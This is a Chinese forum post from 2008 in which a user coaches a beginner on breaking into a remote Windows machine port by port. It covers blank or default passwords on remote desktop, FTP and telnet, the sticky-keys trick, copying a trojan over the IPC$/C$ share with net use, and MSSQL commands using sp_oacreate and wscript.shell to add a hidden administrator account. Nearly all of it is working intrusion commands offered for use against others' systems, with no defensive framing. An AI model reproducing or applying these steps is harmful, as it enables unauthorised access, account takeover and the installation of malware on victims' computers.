- 主题
- 0
- 积分
- 0
- 贝壳
- 0 个
- 注册时间
- 2008-2-9
- 最后登录
- 2008-2-9
|
嘿嘿 我是新来这个论坛的。
我的第一篇帖子就是帮助人的,太好了。。。
知道IP和端口后,就可以尝试着入侵了,
如果是3389端口的话,用远程桌面连接他,帐号administrator,密码空看看能不能连接。
也可以试着按5下shift,是否弹出资源管理器
如果开了21端口,就尝试用FTP连接他,帐号密码先用空的试试,也可以用admin来试试。
如果开了23端口,就用telnet连接他,帐号administrator,密码空,或者密码123456等等试试能否连接,能的话就下载木马。。。
如果开了135,445之类的端口,而且开放了共享,那就用命令
net use \\对方的IP\IPC$ "" /user:"admintitrator" 连接上去,连接成功后用命令copy 木马.exe \\对方IP\c$ ,就可以把木马复制到对方的C盘共享了。
如果开放了1433端口,就可以用X-scan扫描对方IP,看看是否有弱口令,如果有就用查询分析器来连接,在用SQL语句: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add' 添加一个用户,一般来说开了1433的用户是网站服务器那样的,也就开了远程桌面,就可以用新加的帐号密码来连接他了。
1433端口也可以用sqlhello来溢出入侵得到cmdshell....
如果开了80端口的话,一般就是网站服务器了,就去http://ips.syue.com 输入IP,查询他服务器的网站,在入侵网站后进行提权。
如果服务器是jsp的话,可能tomcat还有其他漏洞,也可以进行进一步入侵,考虑到楼主可能是初学,我就不在说下去了。 |
|